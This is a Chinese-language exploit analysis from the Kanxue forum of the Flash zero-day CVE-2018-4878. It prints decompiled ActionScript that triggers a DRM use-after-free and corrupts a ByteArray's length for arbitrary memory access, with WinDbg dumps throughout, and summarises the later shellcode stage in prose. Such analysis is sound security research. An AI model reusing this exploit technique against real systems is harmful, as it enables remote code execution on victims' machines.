Flash 0day(CVE-2018-4878)分析记录
最近报出的flash 0day,自己闲暇之余,看看究竟。拿到sample以后,上FFDEC,看看decompiled code,简单看一下,发现又是TVSDK,看来后面TVSDK还是会有不少洞的。
import com.adobe.tvsdk.mediacore.MediaPlayer;
import com.adobe.tvsdk.mediacore.PSDK;
import com.adobe.tvsdk.mediacore.PSDKEventDispatcher;
先从code层面整理逻辑,class_2可以看做入口函数,通过DRMManager初始化DRM object,来触发漏洞(后面的调试,可以看出这是一个UAF)。
通过计时器来检查DRM object的a1是不是被修改了,如果已经被修改,则去做利用的部分,思路是ByteArray占位,以及修改ByteArray的Length,获取全地址访问的权限。
public function class_2(param1:flash01)
{
super();
this.flash01_obj = param1;
this.method_3();
try
{
var name:* = class_1.method_1(17);
new LocalConnection().connect(name); // it's necessary for vulnerability
new LocalConnection().connect(name); // trigger exception
}
catch(e:Error)
{
drm_obj_2 = new DRMClass();
}
this.timer = new Timer(100,1000);
this.timer.addEventListener(class_1.method_1(33), this.method_2);
this.timer.start();
}
public function method_3() : void
{
var psdk:PSDK = null;
var data14:PSDKEventDispatcher = null;
psdk = PSDK.pSDK;
data14 = psdk.createDispatcher();
this.media_player = psdk.createMediaPlayer(data14);
this.drm_obj_1 = new DRMClass();
this.media_player.drmManager.initialize(this.drm_obj_1);
this.drm_obj_1 = null;
}
public function method_2(param1:TimerEvent) : void
{
if(this.drm_obj_2.a1 != 4369) // 0x1111
{
this.timer.stop();
if(!Capabilities.isDebugger)
{
this.flash25();
}
else
{
this.flash24();
}
}
}
public class DRMClass implements DRMOperationCompleteListener
{
public var a1:uint = 4369; //0x1111
public var a2:uint = 8738; //0x2222
public var a3:uint = 13107; //0x3333
public var a4:uint = 17476; //0x4444
public var a5:uint = 21845; //0x5555
public var a6:uint = 26214; //0x6666
public var a7:uint = 30583; //0x7777
public var a8:uint = 34952; //0x8888
public var a9:uint = 39321; //0x9999
public var a10:uint = 43690; //0xAAAA
...
在触发漏洞之前,DRM object的内存布局
0:005> dd 06f20f70
06f20f70 00001111 00002222 00003333 00004444
06f20f80 00005555 00006666 00007777 00008888
06f20f90 00009999 0000aaaa 00001111 00002222
06f20fa0 00003333 00004444 00005555 00006666
06f20fb0 00007777 00008888 00009999 0000aaaa
06f20fc0 00001111 00002222 00003333 00004444
06f20fd0 00005555 00006666 00007777 00008888
06f20fe0 00009999 0000aaaa 00001111 00002222
漏洞触发的时候,可以发现相应的a1已经被设置为0,继续跟进call stack,可以发现前几个function大致是这样的:delete script_object --> script_object destructor --> memset
eax=00000000 ebx=07061b80 ecx=00000022 edx=00000000 esi=0000004c edi=0706ff74
eip=6eca81ef esp=02ddd210 ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202
Flash32_28_0_0_137!IAEModule_IAEKernel_UnloadModule+0x3695cf:
6eca81ef f3ab rep stos dword ptr es:[edi]
0:005> dd 06f20f70
06f20f70 00000000 00000000 00000000 00000000
06f20f80 00000000 00000000 00000000 00000000
06f20f90 00000000 00000000 00000000 00000000
06f20fa0 00000000 00000000 00000000 00000000
06f20fb0 00000000 00000000 00000000 00000000
06f20fc0 00000000 00000000 00000000 00000000
06f20fd0 00000000 00000000 00000000 00000000
06f20fe0 00000000 00000000 00000000 00000000
public function flash25() : void
{
// allocate ByteArray object to place freed memory
this.bae_obj = new ByteArrayExt();
this.bae_obj.length = 512;
if(this.drm_obj_2.a14 != 0)
{
// how to modify length of ByteArray? refer to following codes and comments
for(var index:int = 0; index < 5; index++)
{
// copy meta data of bytearray object to data area
this.drm_obj_2.a32 = this.drm_obj_2.a14 + 8 * index + 7;
this.bae_obj.write_object(index * 2 + 1,this.bae_obj.flash25());
}
this.bae_obj.a11 = 0;
this.var_18 = this.drm_obj_2.a14;
this.drm_obj_2.a14 = this.drm_obj_2.a31 + 19 * 4 + 16 - 1; // modify meta pointer to bytearray data area
var key:uint = this.drm_obj_2.a22 ^ this.drm_obj_2.a26;
this.drm_obj_2.a22 = 0;
this.drm_obj_2.a23 = 0xffffffff; // modify lenght/capability of bytearray
this.drm_obj_2.a24 = 0xffffffff; // modify lenght/capability of bytearray
this.drm_obj_2.a26 = this.drm_obj_2.a22 ^ key;
this.drm_obj_2.a27 = this.drm_obj_2.a23 ^ key;
this.drm_obj_2.a28 = this.drm_obj_2.a24 ^ key;
this.drm_obj_2.a29 = this.drm_obj_2.a25 ^ key;
this.bae_obj.endian = Endian.LITTLE_ENDIAN;
flash5.flash20(this.bae_obj,this.drm_obj_2);
this.drm_obj_2.a14 = this.var_18; // recover meta pointer
return;
}
占位以后,ByteArray object 的内存布局以及对应的size,可以看到正好是512字节(0x200)
0:005> dd 06f20f70
06f20f70 06f20f78 00000044 6f1c1880 6f1c1888
06f20f80 6f1c187c 6f209984 06dea4c0 08705180
06f20f90 073707f0 00000000 00000000 00000000
06f20fa0 6f1d3db0 [083740b0] 00000000 00000000
06f20fb0 6f1c1874 00000003 00000000 00000011
06f20fc0 00000022 00000033 00000044 00000055
06f20fd0 00000066 00000077 00000088 00000099
06f20fe0 000000aa 000000bb 06f20f61 00000001
0:005> dd 083740b0
083740b0 6f1c1868 00000001 073964a0 [00000200]
083740c0 [00000200] 00000000 2556b474 226fd2d4
083740d0 226fd2d4 226fd0d4 00000000 00000000
083740e0 00000000 00000000 00000000 00000000
083740f0 00000000 00000000 00000000 00000000
08374100 00000000 00000000 00000000 00000000
08374110 00000000 00000000 00000000 00000000
08374120 00000000 00000000 00000000 00000000
修改Lengh以后,对应的内存布局,如下:
0:005> dd 06f20f70
06f20f70 06f20f78 00000044 6f1c1880 6f1c1888
06f20f80 6f1c187c 6f209984 06dea4c0 08705180
06f20f90 073707f0 00000000 00000000 00000008
06f20fa0 6f1d3db0 [06f20fbc] 00000000 00000000
06f20fb0 6f1c1874 00000003 00000001 6f1c1868
06f20fc0 00000001 00000000 [ffffffff] [ffffffff]
06f20fd0 00000000 226fd0d4 dd902f2b dd902f2b
06f20fe0 226fd0d4 00000000 06f20f61 083740d7
相应修改Length的汇编指令以及action script位置,正好可以对应decompiled code中的class_2/flash25
overwrite capability of bytearray
eax=2520b474 ebx=bf740880 ecx=226fd0d4 edx=00000000 esi=0703feb0 edi=070fb020
eip=07d22d2e esp=02ddd058 ebp=02ddd100 iopl=0 nv up ei ng nz na po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200283
07d22d2e 8b461c mov eax,dword ptr [esi+1Ch] ds:002b:0703fecc=0706ff60
0:005> !py -g flashext.py --lnjit 0x7d22d2e
List near symbol at: 0x7d22d2e
Find near symbol:
class_2/flash25 (0x7d225b8) | class_2/method_2 (0x7d22e6f)
后面就是常用的绕过手法,利用获取的全地址读写来leak flash module基址,然后是kernel32的地址,然后,是VirutualProtect和CreateProcess。shellcode的触发是利用修改Method对象的虚表函数(apply和call),一个用于修改shellcode的保护属性,一个是用于触发shellcode执行。
备注:时间仓促,不免会有遗漏和错误之处,如有不足,请多指教。
本文由看雪论坛 michaelpdu 原创
转载请注明来自看雪社区
热门阅读
点击阅读原文/read,
更多干货等着你~